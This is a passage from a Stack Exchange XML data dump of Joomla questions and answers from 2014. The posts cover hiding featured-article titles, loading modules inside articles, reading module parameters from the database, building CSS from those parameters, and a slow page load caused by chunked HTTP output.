  <row Id="5067" PostTypeId="2" ParentId="5066" CreationDate="2014-11-04T16:55:51.120" Score="2" Body="&lt;p&gt;If your are looking for a way access externally to modules information and parameters, you must go directly to the database and read #__modules table / params field. Params field is a JSON encoded string, it can be simply decoded calling &lt;em&gt;json_decode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, implement a module following Joomla! CMS practices: &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:Creating_a_simple_module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-11-05T20:27:49.703" LastActivityDate="2014-11-05T20:27:49.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5068" PostTypeId="2" ParentId="5041" CreationDate="2014-11-04T17:01:18.003" Score="1" Body="&lt;p&gt;An ACL manager component helps, but I have an idea where you might have went wrong to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a new access level, you may not have used &quot;registered&quot; as the parent user type to inherit settings from.  If you do that, you eliminate some of the hiccups that can occur when you are setting up specific ACL groups.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-04T17:01:18.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5069" PostTypeId="1" AcceptedAnswerId="5071" CreationDate="2014-11-04T18:04:50.327" Score="7" ViewCount="10789" Body="&lt;p&gt;How can you hide the title from a featured article? I already tried setting &quot;Show Title&quot; to &quot;Hide&quot; in Article Manager but it doesn't work. This article is &quot;Uncategorized&quot; and only used in &quot;Featured Articles&quot;. I'm using &quot;protostar&quot; Joomla's default template and Joomla 3.3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxVCU.png&quot; alt=&quot;hiding title&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1881" LastEditorUserId="1629" LastEditDate="2014-12-09T04:19:29.367" LastActivityDate="2014-12-09T04:19:29.367" Title="How can you hide the title from a featured article?" Tags="|joomla-3.x|articles|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5070" PostTypeId="2" ParentId="5069" CreationDate="2014-11-04T18:22:13.747" Score="4" Body="&lt;p&gt;You have to set &lt;strong&gt;Show Title&lt;/strong&gt; to &lt;strong&gt;Hide&lt;/strong&gt; in the menu item that displays your featured articles, not in the article settings. The article settings will only have effect is you set &lt;strong&gt;Show Title&lt;/strong&gt; to &lt;strong&gt;Article settings&lt;/strong&gt; in the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VF7L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-11-04T18:29:02.440" LastActivityDate="2014-11-04T18:29:02.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5071" PostTypeId="2" ParentId="5069" CreationDate="2014-11-04T18:22:20.840" Score="8" Body="&lt;p&gt;If you want to hide the Title for &quot;Featured articles&quot; you need to specify that you want Joomla to take the configuration set from those articles. To do that go to Menu -&gt; Main Menu -&gt; Select the Menu which display &quot;Featured Articles&quot; -&gt; Options and set Show Title to &quot;Use Article Settings&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMTzJ.png&quot; alt=&quot;menu options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, go and find your Article in &quot;Article Manager&quot; -&gt; Options and set &quot;Show Title&quot; to &quot;Hide&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GgcDc.png&quot; alt=&quot;article options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-11-04T18:22:20.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5072" PostTypeId="2" ParentId="5069" CreationDate="2014-11-04T18:26:59.250" Score="4" Body="&lt;p&gt;There are several places to set the title property.  The menu item, the category, the article manager and the article itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the other answers have noted, the view and menu item are the most critical to set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're linking out of say, a featured article blog view and you want the title hidden when you get to the article page, the menu item may not be acting on the article by the time you reach the full text page.  So you want to look at the other areas of settings to see if they're conflicting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, the individual article level should trump all the other views.  So it would interest me to test that result and perhaps address it as a glitch in the parameter hierarchy in the Joomla core.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-04T18:26:59.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5073" PostTypeId="1" CreationDate="2014-11-05T01:28:41.737" Score="1" ViewCount="714" Body="&lt;p&gt;What I use: &lt;br /&gt;&#xA;   - Version 2.5 &lt;br /&gt;&#xA;   - gantry framework&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need:&lt;br /&gt;&#xA;&lt;b&gt;I must place in my homepage a slideshow module inside the &lt;/b&gt; &lt;i&gt;mainbody&lt;/i&gt; &lt;b&gt;as a &lt;/b&gt;&lt;i&gt;featured article&lt;/i&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did:&lt;br /&gt;&#xA;Installed a slideshow module and placed temporary inside gantry's maintop-a position to see if it worked (it did), then moved in a non-previously-exsisting 'slideshow' position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created a new article, with this content: &lt;code&gt;{loadposition slideshow}&lt;/code&gt; and set it to featured state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: &lt;br /&gt;&#xA;the article was published correctly but the introtext char limit trimmed the actual module code to 100 chars making it useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I already tried to fix the issue:&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Modified my slideshow article from database adding the loadmodule code in the fulltext field (which was originally empty), &lt;br /&gt;&#xA;then modified &lt;code&gt;components/com_content/view/featured/tmpl/default_item.php&lt;/code&gt; replacing &lt;code&gt;echo $this-&gt;item-&gt;introtext;&lt;/code&gt;  with an &lt;code&gt;if&lt;/code&gt; to identify my slideshow article id then query the database to find the fulltext field and echo it. this thingy works but the loadmodule function isn't, so it's displayed as simple HTML. I deduce that introtext is treated differently than fulltext since what's inside the brackets is interpreted as code only when echoed as introtext, and I miss that layer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modified &lt;code&gt;modules/mod_articles_category/helper.php&lt;/code&gt; to break the 100 introtext_limit, sadly finding that's not called for my featured articles (added &lt;code&gt;dump($item, 'some name')&lt;/code&gt; which returns only the articles that are inside my news sidebar, even if all my featured articles including slideshow are categorized)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tried a million different combinations of the above (i.e.:&lt;code&gt;{loadmodule slideshow}&lt;/code&gt;&lt;br /&gt;&lt;code&gt;{module [myslideshow_article_id]}&lt;/code&gt; &amp;lt;- a module loader plugin i tried, ...) which are too long to put here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Searched the whole project folder for files containing 'introtext' inside their code, finding alot, but nothing that actually trims it (except helper.php of course)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Searched the Joomla API&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Googled for everything that came into my mind finding no working solutions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Came Here :)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2139" LastActivityDate="2014-11-06T23:06:59.370" Title="Load Module in Featured Article" Tags="|module|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5074" PostTypeId="2" ParentId="5066" CreationDate="2014-11-05T03:23:20.363" Score="1" Body="&lt;p&gt;Not sure what you are trying to accomplish but if you need to hang onto these parameters, you could try SESSION variables or session storage. This implies that you actually have access to them before your separate PHP file executes.&lt;/p&gt;&#xA;" OwnerUserId="130" LastActivityDate="2014-11-05T03:23:20.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5075" PostTypeId="2" ParentId="5073" CreationDate="2014-11-05T03:35:22.777" Score="2" Body="&lt;p&gt;Your requirement is not clear. If you wish to add a slideshow in a module in a featured article, look into Modules Anywhere by the fellow at NoNumber. In this case, you would include your module inside a featured article to show the slides.&lt;/p&gt;&#xA;" OwnerUserId="130" LastActivityDate="2014-11-05T03:35:22.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5076" PostTypeId="2" ParentId="5073" CreationDate="2014-11-05T04:26:43.447" Score="0" Body="&lt;p&gt;Your main article might contain a readmore tag before the &lt;code&gt;loadposition&lt;/code&gt; code you're adding. Check the source code of your article (press the &lt;kbd&gt;&amp;lt; &gt;&lt;/kbd&gt; button if you're using TinyMCE) and look for the following code in your article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where Joomla should end the intro text. Make sure the &lt;code&gt;{loadposition slideshow}&lt;/code&gt; code is found &lt;em&gt;before&lt;/em&gt; the readmore tag. Try placing it before any text in your article, to see if it shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the 100 characters intro text limit come from? Are you using K2 or another CCK, or is it plain Joomla? Joomla itself should not crop your intro text, neither by character nor word count, unless your template has some kind of override for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I see no reason why what you're trying to do shouldn't work, Joomla has no character limit for the intro text by default, it can be as long as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless it has to be a featured article, and you're displaying other articles on the same page, try displaying the article using a &quot;Single Article&quot; menu item, or maybe &quot;Category blog&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say the module works fine when published to a regular module position, so I assume the module itself is working. Have you checked if your article contains any Have you checked if your article contains open HTML tags? (e.g. a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; without a closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another test is to create a new article, add &lt;code&gt;{loadposition slideshow}&lt;/code&gt; (and nothing else) in the text, and set it as featured.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-11-06T23:06:59.370" LastActivityDate="2014-11-06T23:06:59.370" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5077" PostTypeId="2" ParentId="4890" CreationDate="2014-11-05T07:25:14.083" Score="0" Body="&lt;p&gt;It's not easy to achieve what you ask for in your image, due to the (poor) way the slider renders it's code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qayAq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's a suggestions on how you can center the text vertically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /* Add left padding to go clear of arrow */&#xA; p.flex-caption {padding-left: 50px;}&#xA;&#xA; /* Add empty box above */&#xA; p.flex-caption:before {&#xA;  content: &quot; &quot;;&#xA;  display: block;&#xA;  height: 35%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not center the text exactly, but close. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-05T07:25:14.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5079" PostTypeId="1" AcceptedAnswerId="5081" CreationDate="2014-11-05T09:26:05.567" Score="2" ViewCount="157" Body="&lt;p&gt;Sorry for asking another question, but I really need an answer on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module is called mod_improvedmenu. I've been experimenting a bit (I'm still learning, I need some help on this subject because it's a returning issue), and the thing is, when I do a var_dump on the $module variable, it returns an array with all the information I need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I set that $module to be mod_improvedmenu &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_improvedmenu');&#xA;var_dump($module);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns an empty array. It should work, but it doesn't. I also checked the database if there happens to be 2 modules with the same name, but there's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea what could be going on here?&lt;br&gt;&#xA;When I do the same thing with simply mod_menu, it works just fine.&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2016-01-22T00:25:18.537" LastActivityDate="2016-01-22T00:25:18.537" Title="I can't var_dump my module's info" Tags="|joomla-2.5|development|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5080" PostTypeId="1" AcceptedAnswerId="5091" CreationDate="2014-11-05T09:42:06.137" Score="1" ViewCount="179" Body="&lt;p&gt;I got handed an issue to look at where a sites pages were loading exceptionally slowly - we're talking 13 to 20 seconds. The site is obviously customised with various addons. I did some digging into it and did the normal debug enable and checked the profile which showed some slowness in various areas but none of which totalled the full page load time. In fact some page scan tools - Google amongst them - didn't properly recognise the slowness just claiming the page loaded in about 4 seconds or so (same as the profile).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly stumped I dug into it further and then found the problem using telnet. Here is an example of what I got.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I used a completely basic GET request, ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1&#xA;Host: www.slowsite.somewhere&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK&#xA;Date: Mon, 03 Nov 2014 09:22:13 GMT&#xA;Server: Apache/2.4.9 (Unix)&#xA;X-Powered-By: PHP/5.3.28&#xA;P3P: CP=&quot;NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM&quot;&#xA;Cache-Control: no-cache&#xA;Pragma: no-cache&#xA;Set-Cookie: f3c945355423e6c96228179d74322888=tbh278qicf0cle0j8nc5pf0fu3; path=/; HttpOnly&#xA;Vary: Accept-Encoding,User-Agent&#xA;Cache-Control: max-age=2592000&#xA;Expires: Wed, 03 Dec 2014 09:22:13 GMT&#xA;Transfer-Encoding: chunked&#xA;Content-Type: text/html; charset=utf-8&#xA;&#xA;702a&#xA;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en-gb&quot; lang=&quot;en-gb&quot; dir=&quot;ltr&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=&quot;http://XXXXXXXXXXXX/&quot; /&amp;gt;&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;Joomla! - Open Source Content Management&quot; /&amp;gt;&amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;&amp;lt;link href=&quot;http://XXXXXXXXXXX/?view=featured&quot; rel=&quot;canonical&quot; /&amp;gt;&amp;lt;link href=&quot;/?format=feed&amp;amp;amp;type=rss&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;RSS 2.0&quot; /&amp;gt;&amp;lt;link href=&quot;/?format=feed&amp;amp;amp;type=atom&quot; rel=&quot;alternate&quot; type=&quot;application/atom+xml&quot; title=&quot;Atom 1.0&quot; /&amp;gt;&amp;lt;link href=&quot;/templates/XXXXXXXXX/favicon.ico&quot; rel=&quot;shortcut icon&quot; type=&quot;image/vnd.microsoft.icon&quot; /&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/components/com_rsform/assets/calendar/calendar.css&quot; type=&quot;text/css&quot; /&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/components/com_rsform/assets/css/front.css&quot; type=&quot;text/css&quot; /&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/plugins/system/jch_optimize/assets2/jscss.php?f=953dd117283665c8de4b1dbc99fa7ebc&amp;amp;amp;type=css&amp;amp;amp;gz=gz&amp;amp;amp;d=30&amp;amp;amp;i=0&quot;/&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/modules/mod_slideshowck/themes/default/css/camera.css&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then down at the end...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;footer3&quot;&amp;gt;© 2014 XXXXXXXXXXX. All rights reserved&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;footer-bottom&quot;&amp;gt;Company Name: XXXXXXXXXX. Company Registration No/Place of Registration: XXXXXXXXX Cardiff Registered Office Address: XXXXXXX&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is some text outside the HTML. It looks like some sort of debugging hex word output. The first one changes all the time (eg &lt;code&gt;7139&lt;/code&gt;, &lt;code&gt;6fc3&lt;/code&gt;) but the last one at the end is 0 all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this rings a bell with somebody who's seen this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not I'll have to go dig into this - never used Joomla and PHP very rusty since I last programmed with it many years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting aside is that if you view page source in a browser (Chrome, Explorer etc) they don't show this extra data at all. Totally invisible. It's only if you telnet to the site that you see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then also interesting is that probably the trailing &lt;code&gt;&amp;lt;newline&amp;gt;0&amp;lt;newline&amp;gt;&lt;/code&gt; after the &lt;code&gt;&amp;lt;/html&amp;gt;&lt;/code&gt; seems to make the browser think there is more data coming, and it doesn't try to render the page until the default HTTP 1.1 keepalive times out and it drops the connection. It is only then that the browser requests the CSS, Javascript, Images etc. This visible from the timeline/waterfall graph such as eg tools.pingdom.com and gtmetrix.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference but probably irrelevant the site is hosted with &lt;a href=&quot;http://www.heartinternet.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://www.heartinternet.co.uk/&lt;/a&gt; who we've used for the last 7 years and found quite reliable and with good performance, though never had a Joomla site on it (this was developed somewhere else)&lt;/p&gt;&#xA;" OwnerUserId="2144" LastEditorUserId="2144" LastEditDate="2014-11-05T11:36:23.357" LastActivityDate="2014-11-05T18:13:17.120" Title="Extraneous characters outside HTML causing exceptionally slow page load" Tags="|debug|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5081" PostTypeId="2" ParentId="5079" CreationDate="2014-11-05T09:46:19.437" Score="2" Body="&lt;p&gt;You need to ensure it meets the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is enabled&lt;/li&gt;&#xA;&lt;li&gt;It is assigned to the current menu item or is assigned to all menu items&lt;/li&gt;&#xA;&lt;li&gt;The user meets the access level requirements.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When using your code in an external PHP file, the module must be assigned to all pages&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-05T10:17:08.180" LastActivityDate="2014-11-05T10:17:08.180" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5082" PostTypeId="1" AcceptedAnswerId="5089" CreationDate="2014-11-05T13:10:52.973" Score="2" ViewCount="836" Body="&lt;p&gt;my question is really simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Joomla website with a private part, and different categories of articles. I have a main &quot;news&quot; page, with the public articles displayed there. I have a private &quot;news&quot; page (built using the &quot;articles category&quot; module), with only articles from the private category, only accessible by registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is: when a registered user click on a private &quot;news&quot; title or the &quot;read more&quot; button, the complete article is open as if it was opened from the main &quot;news&quot; page (the same url, loaded modules, etc), so it's &quot;outside the private zone&quot; of the website. How can I change this behavior? Modifying the &quot;articles category&quot; module and adding the Itemid=xxx to the created links, so the article is opened inside the private zone? &lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2014-11-06T02:49:57.760" Title="Clicking on a articles category module title redirect to another page. How to avoid this?" Tags="|joomla-3.x|module|articles|permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5083" PostTypeId="1" CreationDate="2014-11-05T13:19:04.493" Score="1" ViewCount="78" Body="&lt;p&gt;I've decided to extract the params for my module directly from the database, to put them in my variable stylesheet. I know this is not the recommended way, but for learning sake I find this to be a good test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing this like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('params'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__modules'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('module') . ' LIKE ' . $db-&amp;gt;quote('mod_ext_superfish_menu'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadResult();&#xA;$params = json_decode($results);&#xA;&#xA;var_dump($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works well and I do get all the variables into my CSS.  all the text that used to be in my list items, has now disappeared-- so, the styling is right, but the text that's supposed to be in the styled items has vanished. What have I done wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add, the styling is done as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu {&#xA;    line-height:    1.0;&#xA;&#xA;    &amp;lt;?php // WIDTH&#xA;    if($params-&amp;gt;menuWidth != &quot;&quot;) {&#xA;        echo &quot;width: &quot;.$params-&amp;gt;gmenuWidth.&quot;px;&quot;;&#xA;    } &#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // HEIGHT&#xA;    if($params-&amp;gt;menuHeight != &quot;&quot;) {&#xA;        echo &quot;height: &quot;.$params-&amp;gt;menuHeight.&quot;px;&quot;;&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php //margin top &amp;amp; margin left &#xA;    if($params-&amp;gt;menuMarginLeft != &quot;&quot;) {&#xA;    echo &quot;margin-left: &quot;.$params-&amp;gt;menuMarginLeft.&quot;px; &quot;;&#xA;}&#xA;if($params-&amp;gt;menuMarginTop != &quot;&quot;) {&#xA;    echo &quot;margin-top: &quot;.$params-&amp;gt;menuMarginTop.&quot;px; &quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2016-01-22T00:23:51.973" LastActivityDate="2016-01-22T00:23:51.973" Title="Text disappeared after taking style from database params" Tags="|joomla-2.5|php|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5084" PostTypeId="2" ParentId="5083" CreationDate="2014-11-05T13:39:49.680" Score="2" Body="&lt;p&gt;You can't simply add CSS to your PHP file and expect it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following will just &lt;strong&gt;NOT&lt;/strong&gt; work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;   .menu {&#xA;       font-size: 12px;&#xA;   }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already in a previous answer explained how to use &lt;code&gt;addStyleDeclaration()&lt;/code&gt;. I know you're trying to learn which is great, but when someone recommends a method, don't ignore it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, firstly, remove all your code and add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$css = '.menu { line-height: 1.0; }';&#xA;&#xA;if($params-&amp;gt;menuWidth != '') {&#xA;    $css .= '.menu { width: ' . $params-&amp;gt;gmenuWidth . 'px; }';&#xA;}&#xA;if($params-&amp;gt;menuHeight != '') {&#xA;    $css .= '.menu { height: ' . $params-&amp;gt;menuHeight . 'px; }';&#xA;}&#xA;if($params-&amp;gt;menuMarginLeft != '') {&#xA;    $css .= '.menu { margin-left: ' . $params-&amp;gt;menuMarginLeft . 'px; }';&#xA;}&#xA;if($params-&amp;gt;menuMarginTop != '') {&#xA;    $css .= '.menu { margin-top: ' . $params-&amp;gt;menuMarginTop . 'px; }';&#xA;} &#xA;&#xA;$doc-&amp;gt;addStyleDeclaration($css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see above the first &lt;code&gt;$css&lt;/code&gt; is as is. But the other ones inside the &lt;code&gt;if&lt;/code&gt; statements have a &lt;code&gt;.&lt;/code&gt; before the &lt;code&gt;=&lt;/code&gt; symbol. This means that the variable name be be used multiple times without having an effect on eachother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, for adding CSS that has value based on variables/parameters, stick to this method and &lt;strong&gt;do not&lt;/strong&gt; use any other method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-05T13:39:49.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5085" PostTypeId="2" ParentId="5083" CreationDate="2014-11-05T14:08:27.193" Score="-4" Body="&lt;p&gt;Actually it does work :) Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('params'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__modules'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('module') . ' LIKE ' . $db-&amp;gt;quote('mod_ext_superfish_menu'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadResult();&#xA;&#xA;//var_dump($results);&#xA;&#xA;$params = json_decode($results);&#xA;&#xA;var_dump($params);&#xA;&#xA;&#xA;/*** MAIN MENU SETTINGS ***/&#xA;&#xA;.&amp;lt;?php echo $module-&amp;gt;module; //div name is equal to module ?&amp;gt; {&#xA;&#xA;font-size: &amp;lt;?php if($params-&amp;gt;fontSize != &quot;&quot;) { echo &quot;&quot;.$params-&amp;gt;fontSize.&quot;px;&quot;; } else { echo &quot;14px;&quot;; } ?&amp;gt;&#xA;&#xA;background-color: &amp;lt;?php  &#xA;    if($params-&amp;gt;entireMenuBgColor != &quot;&quot;) {&#xA;        echo &quot;&quot;.$params-&amp;gt;entireMenuBgColor.&quot;;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;    if($params-&amp;gt;backgroundImage != &quot;-1&quot;) {&#xA;        echo &quot;background-image: url('&quot;. JURI::ROOT(false, &quot;&quot;).&quot;images/menu/&quot;.$params-&amp;gt;backgroundImage.&quot;');&quot;;&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;&#xA;background-repeat: repeat-x;&#xA;&#xA;&amp;lt;?php if($params-&amp;gt;fontStyle != &quot;&quot;) {&#xA;    echo $params-&amp;gt;fontStyle;    &#xA;} else { &#xA;    echo &quot;normal&quot;; &#xA;}   ?&amp;gt;&#xA;&#xA;&amp;lt;?php if($params-&amp;gt;fontFamily != &quot;&quot;) {&#xA;    echo &quot;fontFamily: &quot;.$params-&amp;gt;fontFamily.&quot;&quot;;&#xA;}   ?&amp;gt;&#xA;&#xA;}&#xA;&#xA;&#xA;.sf-menu, .sf-menu * {&#xA;    margin:             0;&#xA;    padding:            0;&#xA;    list-style:         none;&#xA;    &amp;lt;?php if($params-&amp;gt;textPushEffect == 1 ) {&#xA;        echo &quot;text-shadow: 0px 1px 0px rgba(255,255,255,.3), 0px -1px 0px rgba(0,0,0,.7);&quot;;&#xA;    }  ?&amp;gt;&#xA;} etc etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="75" 